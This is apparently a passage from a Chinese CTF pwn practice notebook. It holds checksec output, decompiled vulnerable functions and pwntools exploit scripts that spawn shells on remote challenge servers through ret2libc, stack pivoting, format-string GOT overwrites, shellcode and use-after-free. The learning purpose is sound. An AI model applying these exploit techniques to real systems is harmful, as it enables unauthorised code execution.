#pause()
p.sendlineafter('your name:\n',b'\x00')
p.sendlineafter('friend name:\n',b'\x00')

payload=b'a'*(0x20+4)+ p32(elf.plt['puts']) + p32(0x80485F1) + p32(elf.got['puts'])
p.sendline(payload)

puts_addr=u32(p.recvuntil("\xf7")[-4:])
print(hex(puts_addr))


libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))

system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

'''
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
'''

p.sendlineafter('your name:\n',b'\x00')
p.sendlineafter('friend name:\n',b'\x00')

payload1 =b'A'*(0x20+4)+p32(system_addr)+b'AAAA'+p32(bin_sh)
#gdb.attach(p)
#pause()
p.sendline(payload1)


p.interactive()

远程环境的问题

stack_pivotingx86

栈迁移

日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec 1111
[*] '/home/bbq/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~$
1
2
3
4
5
6
7
8
9
10
11
12
ssize_t vuln()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF

write(1, "Welcome to CTF_STACK world\n", 0x1Bu);
write(1, "Please input your name:\n", 0x18u);
read(0, buf, 0x30u);
write(1, "Hello ", 6u);
puts(buf);
write(1, "Would you like tell me some message:\n", 0x25u);
return read(0, buf, 0x30u);
}

就是不到为什么会有两次read

题目system和/bin/sh地址都在

不用泄露基址哇

因为我们不知道栈顶的位置

so我们要通过第一个read策一下距离

x/5xw $esp

查看寄存器值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2119)
#p = process('./1111')

leave_addr=0x8048666
#Rread=0x804860D

system_addr=0x8048420
bin_sh=0x804A030

rl('your name:\n')

payload1=b'a'*(0x28-1)+b'b'
#bug()
s(payload1)
rl('b')

esp=u32(p.recv(4))-0x38
pr(hex(esp))


rl('message:\n')
payload=b'aaaa'+p32(system_addr)+b'AAAA'+p32(bin_sh)
payload=payload.ljust(0x28,b'\x00')
payload+=p32(esp)+p32(leave_addr)
#bug()
s(payload)



inter()

踩坑点:注意esp距离ebp的长度

image-20241107165736456

相减得到0x38

夕阳下的舞者-未做出

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec 1111
[*] '/home/bbq/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
bbq@ubuntu:~$

感觉是上难度了

果然是堆题

这回是直接干

看一眼题wp说是有个换libc环境

1
2
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw

但是我是直接跑起来了

1

heap_Easy_Uaf

2024.11.12

既然是堆题,并且连漏洞都告诉你了

就好好找一下吧

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec 1111
[*] '/home/bbq/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

其实说实话,如果说是堆题的话,这个保护机制还有利用的必要吗???

先找一下漏洞吧

既然是UAF漏洞

uaf漏洞通常就是内存块被释放后,其对应的指针没有被置为NUL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2107)
#p = process('./1111')


rl('Please Choice!')
sl(str(5))
rl('size :')
sl(str(0x68))
rl('Content : ')
sl(b'Flag')




inter()

05ret2libc_64

2024.11.12

不用看了直接写吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2084)
#p = process('./ret2libc')


pop_rdi=0x0000000000400753
ret_addr=0x0000000000400509
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
sl(payload)

puts_addr=get_addr64()
pr(hex(puts_addr))

'''
libc_base=puts_addr-libc.sym['puts']
pr(hex(libc_base))
system_addr,bin_sh=get_sb()
'''

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
pr(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")




payload2= flat([b'a'*(0x70+8),ret_addr,pop_rdi,bin_sh,system_addr])
sl(payload2)

inter()

做不出来的最大问题就是libc环境问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('1.95.36.136', 2086)
elf = ELF('./1111')
#io=process('./1111')
pop_rdi_ret = 0x400843
ret_addr = 0x400581
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

payload = b'a' * 0x100 + b'b' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('question:\n', payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts_addr=', hex(puts_addr))

libc_base = puts_addr - 0x06f6a0
print(hex(libc_base))
system_addr = libc_base + 0x0453a0
bin_sh_addr = libc_base + 0x18ce57

payload = b'a' * 0x100 + b'b' * 8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter('question:\n', payload)
io.interactive()

格式化字符串劫持got

日常检查一下

1
2
3
4
5
6
7
8
bq@ubuntu:~$ checksec pwn1
[*] '/home/bbq/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~$

ida打开看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int come_on()
{
char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
unsigned int v2; // [esp+4Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
system("echo hhh~");
read(0, buf, 0x50u);
printf(buf);
puts("echo you are good");
puts("echo hh,the shell give you");
printf("/bin/sh");
return 0;
}

看着还是比较基础的

思路:第一个泄露地址,然后got改写

这种先找一下偏移

image-20241114114500318

知道偏移为7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn1')
p=remote('1.95.36.136', 2056)
#p = process('./pwn1')

#sla('hhh~',b'aa')


printf_got=elf.got['printf']
system_plt=elf.plt['system']

system_addr=0x8048490

#p.recv()

payload = fmtstr_payload(7,{printf_got:system_addr})

sla('hhh~',payload)




inter()

format_ropx86

2024.11.14

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec 1111
[*] '/home/bbq/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~$

ida打开就是一个格式化字符串加一个ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc6-x32_2.17-0ubuntu5_amd64.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1111')
p=remote('1.95.36.136', 2124)
#p = process('./1111')

rl('name\n')
payload=p32(0x804A030)+b'aaaa'+b"%4$n"
#bug()
s(payload)

rl('secret:')

payload1 = b"A"*(0x108+4)+ p32(elf.plt['puts']) + p32(elf.sym['vuln']) + p32(elf.got['puts'])
sl(payload1)

puts_addr=get_addr32()
pr(hex(puts_addr))



'''
libc_base=puts_addr-libc.sym['puts']
pr(hex(libc_base))


system_addr,bin_sh= get_sb()
'''
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")



payload3 = flat([b'A'*(0x108+4),system_addr,b'aaaa',bin_sh])
p.sendline(payload3)


inter()




#libc6-i386_2.23-0ubuntu11.3_amd64

来东北看雪

2024.11.14

1
2
3
4
5
6
7
8
9
10
int fun()
{
char s[108]; // [esp+Ch] [ebp-6Ch] BYREF

printf("Do you like Northeast China ???");
read(0, &buf2, 0x32u);
puts("Are you coming to Northeast to see the snow ?!!!");
gets(s);
return 0;
}

看着像shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(log_level= 'debug', arch = 'i386', os = 'linux' )

p=process('./1111')
p=remote('120.46.59.242', 2101)
str_addr=0x804A080
p.recvuntil('Please Input:\n')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)



p.recvuntil('What,s your name ?:\n')
payload=b'a'*(0x68+4)+p32(str_addr)
p.sendline(payload)
p.interactive()

cardlibc

2024.11.14

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec cardlibc
[*] '/home/bbq/cardlibc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

没啥意思了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./cardlibc')
p=remote('1.95.36.136', 2084)
#p = process('./ret2libc')


pop_rdi=0x0000000000400753
ret_addr=0x0000000000400509
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
sl(payload)

puts_addr=get_addr64()
pr(hex(puts_addr))

'''
libc_base=puts_addr-libc.sym['puts']
pr(hex(libc_base))
system_addr,bin_sh=get_sb()
'''

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
pr(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")




payload2= flat([b'a'*(0x70+8),ret_addr,pop_rdi,bin_sh,system_addr])
sl(payload2)

inter()

中间有个整数溢出

image-20241114204604986

shellcode1-未做出

2024.11.16

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~$ checksec shellcode1
[*] '/home/bbq/shellcode1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~$

ida里面看看

shellcode没啥说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(log_level= 'debug', arch = 'i386', os = 'linux' )

p=process('./shellcode1')
p=remote('1.95.36.136',2079)
str_addr=0x804A080
p.recvuntil('name?\n')
shellcode=asm(shellcraft.sh())
p.send(shellcode)



p.recvuntil('to me:\n')
payload=b'a'*(0x6c+4)+p32(str_addr)
p.sendline(payload)
p.interactive()

sys

2024.11.16

后门

1
2
3
4
5
6
7
8
from  pwn import *
p = remote('1.95.36.136', 2064)


pay=b'a'*(0x28+4)+p32(0x80488D2)

p.send(pay)
p.interactive()

巴啦啦亮吗-为做出

2024.11.16

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec pwn1
[*] '/home/bbq/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
bbq@ubuntu:~$

ida打开

sys504505

2024.11.18

日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec sys504505
[*] '/home/bbq/sys504505'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
bbq@ubuntu:~$

全开,ida打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+0h] [rbp-20h]
int j; // [rsp+4h] [rbp-1Ch]
char *v6; // [rsp+8h] [rbp-18h]
char *k; // [rsp+10h] [rbp-10h]

*command = 3242;
dword_201064 = 3020;
dword_201068 = 3771;
dword_20106C += 3242;
dword_201070 = 1454;
LODWORD(__libc_start_main) = 134513952;
puts("Welcome to PolarD&N CTF!");
for ( i = 0; i <= 19; ++i )
{
_isoc99_scanf("%d", &command[4 * i]);
*&command[4 * i] += 504505;
}
for ( j = 20; j <= 39; ++j )
*&command[4 * j] += 504505;
v6 = command;
for ( k = aPolardNCtfElen; *v6 && *k && *v6 == *k; ++k )
++v6;
if ( *k )
exit(1);
puts("You are so intelligent!!!");
system(command);
return 0LL;
}

打开也是看见了system函数,猜测就是要构造/bin/sh

但是这个command是我们要自己输入得到的

大概就两步

for循环构造/bin/sh

if绕过退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.log_level = 'debug'
#p = process('./sys504505')
p = remote('1.95.36.136', 2061)
elf = ELF('./sys504505')


flag = b"PolarD&N CTF ELENVE Win!;/bin/sh\0"

payload = b''
buf = b''
cnt = 0
for pat in flag:
buf += bytes([pat])
if len(buf) == 4:
cnt += 1
p.sendline(bytes(str(u32(buf) - 504505), encoding = 'utf-8'))
print(buf)
print(u32(buf)-504505)
#print(hex(u32(buf)))
buf = b''

while len(buf) < 4:
buf += b'\0'
print(buf)
p.sendline(bytes(str(u32(buf) - 504505), encoding = 'utf-8'))
print(u32(buf) - 504505)
#print(hex(u32(buf)))

while cnt < 20:
print(0)
p.sendline(bytes(str(0 - 504505), encoding = 'utf-8'))
cnt += 1

p.interactive()

friend-找不到libc版本

栈题能做

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec friend 
[*] '/home/bbq/friend'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~$

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int Start()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
int v2[3]; // [esp+6Ch] [ebp-Ch] BYREF

v2[0] = 0;
begin();
puts("Please enter what you need:");
__isoc99_scanf("%d", v2);
if ( v2[0] == 1 )
{
puts("heihei~");
}
else if ( v2[0] == 2 )
{
write(1, "Give You Ret2libc\n", 0x12u);
return read(0, buf, 0x100u);
}
return puts("ByeBye!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./friend')
p=remote('1.95.36.136', 2124)
#p = process('./friend')


sla('you need:\n',b'2')

puts_plt = elf.plt['write']
puts_got = elf.got['write']
main_addr = elf.symbols['main']
#attack1
payload = b"A"*(0x70+4)+ p32(puts_plt) + p32(main_addr) +p32(1)+p32(puts_got)+p32(4)
rl('Ret2libc\n')
p.send(payload)
#p.recvuntil('\n\n')
#puts_addr = u32(p.recv(4))
write_addr=get_addr32()
pr(hex(write_addr))



#构建一下libc
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
pr(hex(libc_base))
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
sla('you need:\n',b'2')
payload = flat([b'A'*(0x70+4),system_addr,b'AAAA',bin_sh])
#rl('Ret2libc\n')
sla('Ret2libc\n',payload)

inter()

就这样吧

like_it

怎么说呢是道堆题

早做晚做都得做,而且现在也不早了

还是那个问题

堆题还有必要看保护机制吗?

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec like_it
[*] '/home/bbq/like_it'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~$

因为没开地址随机化的问题

我们是可以利用这个后门的应该是

我们看一眼主函数

image-20241118143156772

确实看上去还是比较熟悉的堆题的模板

然后呢

函数开始之前有个def函数

我还以为要有个绕过呢!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 def()
{
const char *s1; // [rsp+18h] [rbp-78h]
char buf[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Hi! What do you like?");
read(0, buf, 0x64uLL);
if ( strtok(buf, ",") )
{
s1 = strtok(0LL, ".");
if ( s1 )
{
if ( strcmp(s1, "everyone") && ptrace(PTRACE_TRACEME) == -1 )
exit(2);
}
else if ( ptrace(PTRACE_TRACEME) == -1 )
{
exit(2);
}
}
else if ( ptrace(PTRACE_TRACEME) == -1 )
{
exit(2);
}
return __readfsqword(0x28u) ^ v3;
}

但是我发现最后输入什么都可以绕过,so暂时不管他

找一下堆题的漏洞

感觉就是UAF漏洞哈

image-20241118151831700

SO正常申请堆块后释放就行了是吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./like_it')
p=remote('1.95.36.136', 2058)
#p = process('./like_it')



def Add(Size, Context):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(Size))
p.recvuntil(':')
p.sendline(Context)


def Del(Index):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(Index))


def Show(Index):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(Index))


magic_addr=0x000000000400CB1
#sa('like?\n',b'hi,everyone.')
sa('like?\n',b'aaa')

# min_Size = 0x10 + len(Context) + 1
Add(0x14, 'polar_ctf') # chunk 0
Add(0x19, 'polar_ctf_2023') # chunk 1
# 用于POP chunk隔离
#Add(0x10, 'polar') # chunk 2

# todo 思考为什么是先删除0,再删除1
Del(0)
Del(1)

Add(6, p64(magic_addr))
Show(0)
inter()

easychunk-未做出

日常检查

fate

2024.11.18

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~$ checksec fate
[*] '/home/bbq/fate'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
